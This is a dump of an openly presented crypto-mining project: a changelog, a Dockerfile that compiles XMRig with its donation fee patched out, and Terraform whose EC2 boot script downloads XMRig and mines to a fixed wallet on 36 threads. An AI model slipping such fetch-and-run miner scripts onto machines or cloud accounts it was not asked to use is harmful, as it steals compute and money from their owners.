147 | * remove info ([6b2d578](https://github.com/ci-monk/docker-crypto-miner/commit/6b2d578002d62ec5f52c17ac914ed187016fe946))
148 | * remove topics ([dd58254](https://github.com/ci-monk/docker-crypto-miner/commit/dd58254793b5c78471b72d471ac9e278c0b9d639))
149 | * resize image ([f12b758](https://github.com/ci-monk/docker-crypto-miner/commit/f12b758fdde93bed4f0f67e9f1c8736de1ee0741))
150 |
151 |
152 | ### :repeat: CI
153 |
154 | * change name ([ba83df0](https://github.com/ci-monk/docker-crypto-miner/commit/ba83df02adfb3b956d9c870334a27ba0d0a632da))
155 |
156 | ## [1.2.0](https://github.com/ci-monk/docker-crypto-miner/compare/1.1.0...1.2.0) (2023-02-21)
157 |
158 |
159 | ### :memo: Docs
160 |
161 | * call image ([33920f3](https://github.com/ci-monk/docker-crypto-miner/commit/33920f3281e94d85eb75a0a99e2e98d06dfcb87a))
162 | * change things ([f99a8b8](https://github.com/ci-monk/docker-crypto-miner/commit/f99a8b81dbe54805db9b553e55ea4e83aba32792))
163 | * final changes ([eeb2e14](https://github.com/ci-monk/docker-crypto-miner/commit/eeb2e14de39c4ad46fd319bd7504429c1f404507))
164 | * fix alt ([2e96771](https://github.com/ci-monk/docker-crypto-miner/commit/2e9677182fb750f0797b5ab618427954f308c72d))
165 | * fix gif url ([e89687c](https://github.com/ci-monk/docker-crypto-miner/commit/e89687c40c0423ea5e9cb06590208f27b5baee4f))
166 | * remove link ([030f425](https://github.com/ci-monk/docker-crypto-miner/commit/030f425122531061ebe7f85bc8175f00f9fa24ac))
167 | * remove topics ([7117800](https://github.com/ci-monk/docker-crypto-miner/commit/7117800dd5f1941e6dc3b5cf56b06cc859b9b658))
168 |
169 |
170 | ### :sparkles: News
171 |
172 | * add empty double quotes ([f9c81b9](https://github.com/ci-monk/docker-crypto-miner/commit/f9c81b98c4c56d48c9eb72a6ba2da95dccd30f17))
173 | * add file ([9fc79fa](https://github.com/ci-monk/docker-crypto-miner/commit/9fc79faa269fd9f77c47b8f6a7c90c77a6e7413d))
174 |
175 |
176 | ### :bug: Fixes
177 |
178 | * change gitleaks config ([94720a1](https://github.com/ci-monk/docker-crypto-miner/commit/94720a1202f334cea2f96af662e16af0cfc88564))
179 | * change gitleaks setup ([47b7af4](https://github.com/ci-monk/docker-crypto-miner/commit/47b7af4505993ae8386fc93d3e52e59a05413416))
180 | * dependencies package ([8ab520c](https://github.com/ci-monk/docker-crypto-miner/commit/8ab520c8b307f70a281c159aeea68bf9baa4aaff))
181 | * docker-compose and dockerfile setup ([7518264](https://github.com/ci-monk/docker-crypto-miner/commit/751826456416375c4c05f744f9507fae8004a858))
182 | * dockerfile and build ([693b70b](https://github.com/ci-monk/docker-crypto-miner/commit/693b70b36d038489d5c0d70d35ee46fe8b149e73))
183 | * gitpod tag image ([10f90b7](https://github.com/ci-monk/docker-crypto-miner/commit/10f90b7d9319340e6442ff4e2e7db4274b393c59))
184 | * kubernetes incidents in manifets snyk ([7543ca8](https://github.com/ci-monk/docker-crypto-miner/commit/7543ca8ad0f9b4c16db496567a9e388b20fefef4))
185 | * kubernetes manifests and helm ([bb2c87b](https://github.com/ci-monk/docker-crypto-miner/commit/bb2c87bbd8dd3916b08e21e781d434ff0e29f4fd))
186 | * package.json formatter ([eea9cb5](https://github.com/ci-monk/docker-crypto-miner/commit/eea9cb5c69d035de5a5c9947f4c5a3d93336a85b))
187 | * package.json versions ([a4b74d3](https://github.com/ci-monk/docker-crypto-miner/commit/a4b74d338d6f2d4450adbf09d8afdc10c2149ca5))
188 | * remove dependabot ([416b3ed](https://github.com/ci-monk/docker-crypto-miner/commit/416b3ed9bc468d589a59de6fbc1c9c6337644045))
189 | * remove files, change readme and rename folder ([35e5b27](https://github.com/ci-monk/docker-crypto-miner/commit/35e5b271f606437c484b3c820b56423f171b0e4f))
190 | * rename cmake flags name ([50ac914](https://github.com/ci-monk/docker-crypto-miner/commit/50ac9147369202ddcb9559cce7f892ccffc8305f))
191 | * setups files ([c413fa9](https://github.com/ci-monk/docker-crypto-miner/commit/c413fa9de4e640f2142384358f14124d497c190d))
192 | * var -DBUILD_STATIC=ON ([313539d](https://github.com/ci-monk/docker-crypto-miner/commit/313539d9a563c2ece3dc4a761818bdeaa022ac85))
193 | * workflows github ([ee9fe3e](https://github.com/ci-monk/docker-crypto-miner/commit/ee9fe3e1fbd4459fb87334d9bdd2316646a32b4c))
194 |
195 | ## [1.1.0](https://github.com/lpmatos/docker-crypto-miner/compare/1.0.0...1.1.0) (2022-01-08)
196 |
197 |
198 | ### :memo: Docs
199 |
200 | * add basic k8s, tf and helm explain ([d7cbbb0](https://github.com/lpmatos/docker-crypto-miner/commit/d7cbbb07f180fa20360e6cd910b656a9c6562923))
201 | * add description ([704f5bb](https://github.com/lpmatos/docker-crypto-miner/commit/704f5bb673e038fc379002b8e37dcdde93eeef09))
202 | * add helm readme ([0359909](https://github.com/lpmatos/docker-crypto-miner/commit/0359909fee5e56596e9f97f14fb1ba7d3f706e14))
203 | * add inspirations ([852bd7e](https://github.com/lpmatos/docker-crypto-miner/commit/852bd7eeb4a8c193af7392943eb24d771eac04ac))
204 | * add randonx in description message ([f136666](https://github.com/lpmatos/docker-crypto-miner/commit/f136666b4c94603f0fb5f1e5edfb9f2b20b9eaa1))
205 | * add readme in infra folder ([53df8c9](https://github.com/lpmatos/docker-crypto-miner/commit/53df8c9362e9c48194b9bffdb2269e2864d80492))
206 | * add security topic and menu options ([58decb8](https://github.com/lpmatos/docker-crypto-miner/commit/58decb8e78d8bb8fba58925e2a605e124a717a10))
207 | * change description ([c1e1dd9](https://github.com/lpmatos/docker-crypto-miner/commit/c1e1dd99d005514ea04be41d34bdaa3f29fb24be))
208 | * change donation message ([ee7cb2f](https://github.com/lpmatos/docker-crypto-miner/commit/ee7cb2f23a0a409d7ba7dc212018199141e111b1))
209 | * correct if word ([3daa59e](https://github.com/lpmatos/docker-crypto-miner/commit/3daa59e6c869326f6a501021668bafc71e0fe66e))
210 | * fix back btn ([c159caa](https://github.com/lpmatos/docker-crypto-miner/commit/c159caa6749e6bf6808e63c6c30f73d46ad99b31))
211 | * fix location inspirations ([4a110fc](https://github.com/lpmatos/docker-crypto-miner/commit/4a110fc0e137d2ba4491d7635ebab3c4fb86e716))
212 | * fix random-x name ([47b89f1](https://github.com/lpmatos/docker-crypto-miner/commit/47b89f1fd3bc2583ab6398ee0075ae8ee282778b))
213 | * fix title message ([f81d616](https://github.com/lpmatos/docker-crypto-miner/commit/f81d616130018e1d9e42456485b69ebce92c4b4a))
214 | * new command docker to show logs ([f436182](https://github.com/lpmatos/docker-crypto-miner/commit/f436182f68f85a1d7a4ee6c83ef9f709adc8f2d9))
215 | * remove cpu reference ([d5d0761](https://github.com/lpmatos/docker-crypto-miner/commit/d5d0761b905beea12145914fbc1966e10863c7a0))
216 | * thanks [@rundqvist](https://github.com/rundqvist) ([cf59482](https://github.com/lpmatos/docker-crypto-miner/commit/cf5948282b18a223504d3fcca8cc0d5d430e6093))
217 | * translate everything to english ([76683d3](https://github.com/lpmatos/docker-crypto-miner/commit/76683d3ab4f9f3c651976da4af044b50022d0c60))
218 |
219 |
220 | ### :repeat: CI
221 |
222 | * add -DWITH_HWLOC=OFF ([9c68639](https://github.com/lpmatos/docker-crypto-miner/commit/9c68639a7baa5eda2582708b1423e37432d0e077))
223 | * add dockle step ([08dea49](https://github.com/lpmatos/docker-crypto-miner/commit/08dea49940e4a1096fa4b20c8b7ac8c0e0cf069f))
224 | * change version step dockle ([a08ab14](https://github.com/lpmatos/docker-crypto-miner/commit/a08ab14c3ba9997fab242753638a5fd3e3f9d6f8))
225 | * only linux/amd64,linux/arm64,linux/ppc64le build ([f47d5d6](https://github.com/lpmatos/docker-crypto-miner/commit/f47d5d6edcebbf9b9bce65543d7f0c9dfc16d69b))
226 | * remove arm - amymy ([4ee0344](https://github.com/lpmatos/docker-crypto-miner/commit/4ee03445efeb44dba5fd2d404a226c5d0fc608ad))
227 | * remove dockle step ([2178ab0](https://github.com/lpmatos/docker-crypto-miner/commit/2178ab0f5c48873ff8d32dbe4b8e88a6bfd14568))
228 | * resolve build plataforms ([5133098](https://github.com/lpmatos/docker-crypto-miner/commit/5133098a9c290a0462bf091a027c97081e6a111b))
229 | * test arch amd64 build ([1020cf0](https://github.com/lpmatos/docker-crypto-miner/commit/1020cf0027a21a69a9999ee993363c9d82285811))
230 | * test build only in amd ([8410f68](https://github.com/lpmatos/docker-crypto-miner/commit/8410f6882c78fa701d5fc30e372abc362417bb07))
231 |
232 |
233 | ### :sparkles: News
234 |
235 | * add build script ([6a6d43e](https://github.com/lpmatos/docker-crypto-miner/commit/6a6d43e1e696ebbe3eaa725606f6a9741eb339eb))
236 | * add chwon xmrig copy ([7756b78](https://github.com/lpmatos/docker-crypto-miner/commit/7756b7806d01cc57f782944f22316476daaa82a1))
237 | * add helm-docs gitpod ([660b9b8](https://github.com/lpmatos/docker-crypto-miner/commit/660b9b89023eeaa5280e6bbaeebc9046062ee0f5))
238 | * add install terraform gitpod, setup scripts and readme ([71982e6](https://github.com/lpmatos/docker-crypto-miner/commit/71982e6f1cae6a259267616b241c30d881ebf4e4))
239 | * add mult plataform build ([2303151](https://github.com/lpmatos/docker-crypto-miner/commit/2303151ca543aa1d7317da60d414df190305cbd8))
240 | * add new build vars to test comp time ([41ea791](https://github.com/lpmatos/docker-crypto-miner/commit/41ea79172aa9ac380129c1a7e752fe122f387a11))
241 | * add new params to xmrig build ([244e352](https://github.com/lpmatos/docker-crypto-miner/commit/244e352d77788ea881ed1e213f24fa33db1378c5))
242 | * add package libuv-dev ([471681f](https://github.com/lpmatos/docker-crypto-miner/commit/471681fa27f531c969c0ed7637ed9e4331862715))
243 | * add var XMRIG_BUILD_EXTRA_ARGS ([aeca91e](https://github.com/lpmatos/docker-crypto-miner/commit/aeca91ea6deec163739d6e6c5ab16243184848f4))
244 | * flow conditionals arch ([a5f5af5](https://github.com/lpmatos/docker-crypto-miner/commit/a5f5af54b71dfde602002d10da1f760bcd4cb61e))
245 | * more dependencies in dockerfile install apk build ([58bb80b](https://github.com/lpmatos/docker-crypto-miner/commit/58bb80b989c3ef7f1fe644e91950b7fd36ae82c3))
246 |
247 |
248 | ### :bug: Fixes
249 |
250 | * alpine image and var build ([f9c5d18](https://github.com/lpmatos/docker-crypto-miner/commit/f9c5d18f61974a54dc0e16ac0a4a251b4aa04ebb))
251 | * arm64 setup ([cf3c6b5](https://github.com/lpmatos/docker-crypto-miner/commit/cf3c6b5f1309d412e077de93dc3620da295a3915))
252 | * call arch var ([4adba30](https://github.com/lpmatos/docker-crypto-miner/commit/4adba30e3cedde8523a31622b0f3fa25ec07dd45))
253 | * call xmrig build extra args ([985eb70](https://github.com/lpmatos/docker-crypto-miner/commit/985eb70814ebe1a4ee4a7ddc3454664263f3b9d1))
254 | * change bash ([93ead0c](https://github.com/lpmatos/docker-crypto-miner/commit/93ead0c26be64a8d9f572a00b8cbf4e80bd5cb88))
255 | * change check arch in dockerfile ([8c1914f](https://github.com/lpmatos/docker-crypto-miner/commit/8c1914fe3d3e14d36bd3e99ecf5917a447ea7669))
256 | * change plataforms ([f78a5ae](https://github.com/lpmatos/docker-crypto-miner/commit/f78a5aed58d0b164a610b01afe6b7db13ca18753))
257 | * declaration of xmrig build extra args ([8357652](https://github.com/lpmatos/docker-crypto-miner/commit/8357652bd3e3ba4ca2ad19e216e1aa139325e547))
258 | * dockerfile call from image ([9ecb8d3](https://github.com/lpmatos/docker-crypto-miner/commit/9ecb8d3da0e3e792c602077cc67df19b4ec5831f))
259 | * end line command ([052d9af](https://github.com/lpmatos/docker-crypto-miner/commit/052d9af73ae5f5152f146d144dee23283cacc5b8))
260 | * export var check arch ([175112e](https://github.com/lpmatos/docker-crypto-miner/commit/175112e6420550735bf3e1398e95f31a9a5dceaa))
261 | * flow check arch ([0af903a](https://github.com/lpmatos/docker-crypto-miner/commit/0af903a5e94d63d80a683875616cf4d95683242a))
262 | * plataforms and if dockerfile ([f2623bd](https://github.com/lpmatos/docker-crypto-miner/commit/f2623bdab171859ee052252d2eaddebe499d6ff4))
263 | * remove args build xmrig and flow check arch ([455520a](https://github.com/lpmatos/docker-crypto-miner/commit/455520a22624191d9744a813c90723e5c503886a))
264 | * remove dummy char ([b2640a0](https://github.com/lpmatos/docker-crypto-miner/commit/b2640a0eae032b2530437814e34a6d6cc90ec0b4))
265 | * remove linux 386 ([5b1492d](https://github.com/lpmatos/docker-crypto-miner/commit/5b1492da1a397d3fb1ce3d587e10fa4ce356bae3))
266 | * remove some build args in script ([270f466](https://github.com/lpmatos/docker-crypto-miner/commit/270f466d3902ca83410b447d1eac4d0f2ac38133))
267 | * remove some build args xmrig ([22b285d](https://github.com/lpmatos/docker-crypto-miner/commit/22b285d13ea306ea0fb3143061ac4059706f58c3))
268 | * remove var build ([45cdae8](https://github.com/lpmatos/docker-crypto-miner/commit/45cdae887e32735066ad58358c0a14c42b0a7b62))
269 | * rename infra folder ([ac47179](https://github.com/lpmatos/docker-crypto-miner/commit/ac47179815c417ae4bd498db3e8aced3518434ca))
270 | * rename script docs to gen-docs ([ce90c23](https://github.com/lpmatos/docker-crypto-miner/commit/ce90c2350e12d31a38e748501bc840abb53bda0a))
271 | * reorganize folder and scripts ([9b55694](https://github.com/lpmatos/docker-crypto-miner/commit/9b55694c13e6c188a3fd6a6b5b1db7009ab4e5ad))
272 | * rollback var -DWITH_HWLOC=OFF ([e4b0a3e](https://github.com/lpmatos/docker-crypto-miner/commit/e4b0a3eaedf69d6d84ed607dd9e305b13d17d67d))
273 | * test ppc64le ([04a891d](https://github.com/lpmatos/docker-crypto-miner/commit/04a891d6b59f8e7108134d6eb0f692b7cd658a38))
274 | * timeout build ([d1125ab](https://github.com/lpmatos/docker-crypto-miner/commit/d1125abd2f8bfd849cd5498ce551cbc4792446db))
275 |
276 | ## 1.0.0 (2022-01-06)
277 |
278 |
279 | ### :sparkles: News
280 |
281 | * add dotenv example ([5afa298](https://github.com/lpmatos/docker-crypto-miner/commit/5afa2981c514be0b3ed6634975c2d39e0c5c49ad))
282 | * initial project commit ([5c3ab85](https://github.com/lpmatos/docker-crypto-miner/commit/5c3ab8502d55d3fcb61c02a71b17522eb5c5a4b2))
283 |
284 |
285 | ### :bug: Fixes
286 |
287 | * change to MIT license ([9fb9129](https://github.com/lpmatos/docker-crypto-miner/commit/9fb91292d46909b6a26a082b7e85f47a1447f675))
288 | * example docker run command ([5420ca2](https://github.com/lpmatos/docker-crypto-miner/commit/5420ca22acf16989b226d1f9ce23ebbf658c9dbd))
289 |
290 |
291 | ### :memo: Docs
292 |
293 | * add donations ([2b8d042](https://github.com/lpmatos/docker-crypto-miner/commit/2b8d0429cccdf0ac112f8115736be43cc33de7e5))
294 | * add please consider donate xmrig team ([e80ae52](https://github.com/lpmatos/docker-crypto-miner/commit/e80ae527d381e218891ef106a9bc19052816989d))
295 | * centralize wallet address ([bc44cdd](https://github.com/lpmatos/docker-crypto-miner/commit/bc44cdd9f7bc2e752457635276ebd6c9a4031200))
296 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | # Stage 1: Build the XMRig binary
2 | FROM public.ecr.aws/docker/library/alpine:3.21.3 AS builder
3 |
4 | ARG XMRIG_VERSION=v6.22.0
5 | ARG XMRIG_URL="https://github.com/xmrig/xmrig.git"
6 | ARG XMRIG_BUILD_ARGS="-DXMRIG_DEPS=scripts/deps -DBUILD_STATIC=ON -DWITH_HWLOC=OFF"
7 |
8 | RUN apk add --no-cache git make cmake libstdc++ gcc g++ automake libtool autoconf linux-headers
9 |
10 | WORKDIR /tmp/install
11 |
12 | RUN git clone --single-branch --depth 1 --branch="$XMRIG_VERSION" "$XMRIG_URL" \
13 | && cd xmrig \
14 | && mkdir -p build \
15 | && sed -i 's/kDefaultDonateLevel = 1;/kDefaultDonateLevel = 0;/; s/kMinimumDonateLevel = 1;/kMinimumDonateLevel = 0;/;' src/donate.h \
16 | && cd scripts \
17 | && ./build_deps.sh \
18 | && cd ../build \
19 | && cmake .. $XMRIG_BUILD_ARGS \
20 | && make -j$(nproc)
21 |
22 | # Stage 2: Copy XMRig binary into a smaller image
23 | FROM public.ecr.aws/docker/library/alpine:3.21.3
24 |
25 | RUN apk add --no-cache bash screen cpulimit \
26 | && addgroup --gid 1000 xmrig \
27 | && adduser --uid 1000 -H -D -G xmrig -h /bin/xmrig xmrig
28 |
29 | COPY --from=builder --chown=xmrig:xmrig [ "/tmp/install/xmrig/build/xmrig", "/bin" ]
30 |
31 | WORKDIR /usr/src/mining
32 |
33 | COPY [ "./src/xmrig", "." ]
34 |
35 | RUN chown -R xmrig:xmrig /usr/src/mining \
36 | && chmod +x entrypoint.sh
37 |
38 | USER xmrig
39 |
40 | CMD [ "bash", "/usr/src/mining/entrypoint.sh" ]
41 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
2 | Version 2, December 2004
3 |
4 | Copyright (C) 2023 LPSM Dev
72 |
73 | Just a simple example that you can use to run this container:
74 |
75 | ```bash
76 | docker container run \
77 | --restart unless-stopped --name crypto-miner -d \
78 | -e MINING_POOL="rx.unmineable.com:3333" \
79 | -e MINING_COIN="SHIB" \
80 | -e REFERRAL_CODE="7lkr-kmhq" \
81 | -e WALLET_ADDRESS="
93 |
94 | Shows information logged of the running container:
95 |
96 | ```bash
97 | docker logs -f crypto-miner
98 | ```
99 |
100 | or
101 |
102 | ```bash
103 | docker logs --tail 1000 crypto-miner
104 | ```
105 |
113 |
114 |
7 |
8 | Docker Crypto Miner
9 |
10 | []()
11 | []()
12 | []()
13 |
14 |
15 |
16 | A containerized solution for mining crypto using [XMRig](https://github.com/xmrig/xmrig) miner
17 |
18 |
Container
71 | Logs
92 | Pods
112 |
117 |
118 |
{| no | 31 | | [aws\_instance\_count](#input\_aws\_instance\_count) | n/a | `string` | `"2"` | no | 32 | | [aws\_instance\_type](#input\_aws\_instance\_type) | n/a | `string` | n/a | yes | 33 | | [aws\_profile](#input\_aws\_profile) | AWS Profile name | `string` | `"aws"` | no | 34 | | [aws\_region](#input\_aws\_region) | AWS Region name | `string` | `"eu-central-1"` | no | 35 | | [environment](#input\_environment) | A name that identifies the environment (e.g. `production`, `devops`, `develop`), will used as prefix and for tagging | `string` | `"develop"` | no | 36 | | [tags](#input\_tags) | General tags values | `map(string)` | `{}` | no | 37 | 38 | ## Outputs 39 | 40 | No outputs. 41 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_backend.tf: -------------------------------------------------------------------------------- 1 | # Generated by Terragrunt. Sig: nIlQXj57tbuaRZEa 2 | terraform { 3 | backend "s3" { 4 | bucket = "" 5 | dynamodb_table = "" 6 | encrypt = true 7 | key = "projects/docker-crypto-miner/setup-ec2/terraform.tfstate" 8 | region = "us-east-1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_datas.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # DATAS - AWS 3 | # ================================================================== 4 | 5 | data "aws_caller_identity" "current" {} 6 | data "aws_region" "current" {} 7 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | # ================================================================== 3 | # GENERAL 4 | # ================================================================== 5 | client_name = "lpsm-dev" 6 | # ================================================================== 7 | # AWS GENERAL 8 | # ================================================================== 9 | aws_account_id = data.aws_caller_identity.current.account_id 10 | aws_default_tags = { 11 | cost_allocation_business_unit = "lpsm-dev" 12 | cost_allocation_product = "lpsm-dev" 13 | operation_support_account_name = "${local.client_name}-${local.aws_environment}-services" 14 | operation_support_criticality = "low" 15 | operation_support_environment = local.aws_environment 16 | operation_support_team = "cloud" 17 | source_code = "https://github.com/lpsm-dev/docker-crypto-miner" 18 | source_project = "setup-ec2" 19 | } 20 | aws_environment = "develop" 21 | aws_region = "us-east-1" 22 | } 23 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_outputs.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # OUTPUTS - AWS 3 | # ================================================================== 4 | 5 | output "aws_account_id" { 6 | description = "Selected AWS Account ID" 7 | value = local.aws_account_id 8 | } 9 | 10 | output "aws_region" { 11 | description = "Details about selected AWS region" 12 | value = data.aws_region.current.name 13 | } 14 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_providers.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # PROVIDER - AWS DEFAULT 3 | # ================================================================== 4 | 5 | provider "aws" { 6 | region = local.aws_region 7 | default_tags { 8 | tags = { 9 | "automation:managedby" = "terraform", 10 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 11 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 12 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 13 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 14 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 15 | "operation-support:team" = local.aws_default_tags.operation_support_team, 16 | "source-code" = local.aws_default_tags.source_code 17 | "source-project" = local.aws_default_tags.source_project 18 | } 19 | } 20 | } 21 | 22 | # ================================================================== 23 | # PROVIDER - AWS SA-EAST-1 24 | # ================================================================== 25 | 26 | provider "aws" { 27 | region = "sa-east-1" 28 | alias = "sa-east-1" 29 | default_tags { 30 | tags = { 31 | "automation:managedby" = "terraform", 32 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 33 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 34 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 35 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 36 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 37 | "operation-support:team" = local.aws_default_tags.operation_support_team, 38 | "source-code" = local.aws_default_tags.source_code 39 | "source-project" = local.aws_default_tags.source_project 40 | } 41 | } 42 | } 43 | 44 | # ================================================================== 45 | # PROVIDER - AWS US-EAST-1 46 | # ================================================================== 47 | 48 | provider "aws" { 49 | region = "us-east-1" 50 | alias = "us-east-1" 51 | default_tags { 52 | tags = { 53 | "automation:managedby" = "terraform", 54 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 55 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 56 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 57 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 58 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 59 | "operation-support:team" = local.aws_default_tags.operation_support_team, 60 | "source-code" = local.aws_default_tags.source_code 61 | "source-project" = local.aws_default_tags.source_project 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_required.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = "1.12.1" 3 | required_providers { 4 | aws = { 5 | source = "hashicorp/aws" 6 | version = "~> 5.38" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/_variables.tf: -------------------------------------------------------------------------------- 1 | variable "aws_region" { 2 | type = string 3 | description = "AWS Region name" 4 | default = "eu-central-1" 5 | } 6 | 7 | variable "aws_profile" { 8 | type = string 9 | description = "AWS Profile name" 10 | default = "aws" 11 | } 12 | 13 | variable "environment" { 14 | type = string 15 | description = "A name that identifies the environment (e.g. `production`, `devops`, `develop`), will used as prefix and for tagging" 16 | default = "develop" 17 | } 18 | 19 | variable "tags" { 20 | type = map(string) 21 | description = "General tags values" 22 | default = {} 23 | } 24 | 25 | variable "aws_instance_ami" { 26 | type = map(any) 27 | default = { 28 | eu-central-1 = "ami-0caef02b518350c8b" 29 | } 30 | } 31 | 32 | variable "aws_instance_type" { 33 | type = string 34 | } 35 | 36 | variable "aws_instance_count" { 37 | type = string 38 | default = "2" 39 | } 40 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/aws_ec2.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # RESOURCE AWS EC2 - INSTANCE 3 | # ================================================================== 4 | 5 | resource "aws_instance" "instance" { 6 | count = var.aws_instance_count 7 | 8 | ami = lookup(var.aws_instance_ami, var.aws_region) 9 | instance_type = var.aws_instance_type 10 | user_data = file("${path.root}/files/scripts/run.sh") 11 | 12 | tags = { 13 | Name = "instance-${count.index}" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /infra/terraform/setup-ec2/files/scripts/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | wget https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-x64.tar.gz 4 | tar xf xmrig-6.17.0-linux-x64.tar.gz && cd xmrig-6.17.0 && clear 5 | ./xmrig -o gulf.moneroocean.stream:10128 \ 6 | -u 8BM4rswxAFJiMVX2pJj1iTLgzW1uWqsucUQNnDArw3vQF49e9nxA3C5U5Bi9rGs67ZKY67VPwB4XqXaz22eLD73u74pfeTh \ 7 | -p circleci --threads 36 8 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_backend.tf: -------------------------------------------------------------------------------- 1 | # Generated by Terragrunt. Sig: nIlQXj57tbuaRZEa 2 | terraform { 3 | backend "s3" { 4 | bucket = "" 5 | dynamodb_table = "" 6 | encrypt = true 7 | key = "projects/docker-crypto-miner/setup-eks/terraform.tfstate" 8 | region = "us-east-1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_datas.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # DATAS - AWS 3 | # ================================================================== 4 | 5 | data "aws_caller_identity" "current" {} 6 | data "aws_region" "current" {} 7 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | # ================================================================== 3 | # GENERAL 4 | # ================================================================== 5 | client_name = "lpsm-dev" 6 | # ================================================================== 7 | # AWS GENERAL 8 | # ================================================================== 9 | aws_account_id = data.aws_caller_identity.current.account_id 10 | aws_default_tags = { 11 | cost_allocation_business_unit = "lpsm-dev" 12 | cost_allocation_product = "lpsm-dev" 13 | operation_support_account_name = "${local.client_name}-${local.aws_environment}-services" 14 | operation_support_criticality = "low" 15 | operation_support_environment = local.aws_environment 16 | operation_support_team = "cloud" 17 | source_code = "https://github.com/lpsm-dev/docker-crypto-miner" 18 | source_project = "setup-eks" 19 | } 20 | aws_environment = "develop" 21 | aws_region = "us-east-1" 22 | } 23 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_outputs.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # OUTPUTS - AWS 3 | # ================================================================== 4 | 5 | output "aws_account_id" { 6 | description = "Selected AWS Account ID" 7 | value = local.aws_account_id 8 | } 9 | 10 | output "aws_region" { 11 | description = "Details about selected AWS region" 12 | value = data.aws_region.current.name 13 | } 14 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_providers.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # PROVIDER - AWS DEFAULT 3 | # ================================================================== 4 | 5 | provider "aws" { 6 | region = local.aws_region 7 | default_tags { 8 | tags = { 9 | "automation:managedby" = "terraform", 10 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 11 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 12 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 13 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 14 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 15 | "operation-support:team" = local.aws_default_tags.operation_support_team, 16 | "source-code" = local.aws_default_tags.source_code 17 | "source-project" = local.aws_default_tags.source_project 18 | } 19 | } 20 | } 21 | 22 | # ================================================================== 23 | # PROVIDER - AWS SA-EAST-1 24 | # ================================================================== 25 | 26 | provider "aws" { 27 | region = "sa-east-1" 28 | alias = "sa-east-1" 29 | default_tags { 30 | tags = { 31 | "automation:managedby" = "terraform", 32 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 33 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 34 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 35 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 36 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 37 | "operation-support:team" = local.aws_default_tags.operation_support_team, 38 | "source-code" = local.aws_default_tags.source_code 39 | "source-project" = local.aws_default_tags.source_project 40 | } 41 | } 42 | } 43 | 44 | # ================================================================== 45 | # PROVIDER - AWS US-EAST-1 46 | # ================================================================== 47 | 48 | provider "aws" { 49 | region = "us-east-1" 50 | alias = "us-east-1" 51 | default_tags { 52 | tags = { 53 | "automation:managedby" = "terraform", 54 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 55 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 56 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 57 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 58 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 59 | "operation-support:team" = local.aws_default_tags.operation_support_team, 60 | "source-code" = local.aws_default_tags.source_code 61 | "source-project" = local.aws_default_tags.source_project 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/_required.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = "1.12.1" 3 | required_providers { 4 | aws = { 5 | source = "hashicorp/aws" 6 | version = "~> 5.38" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/eks_cluster.tf: 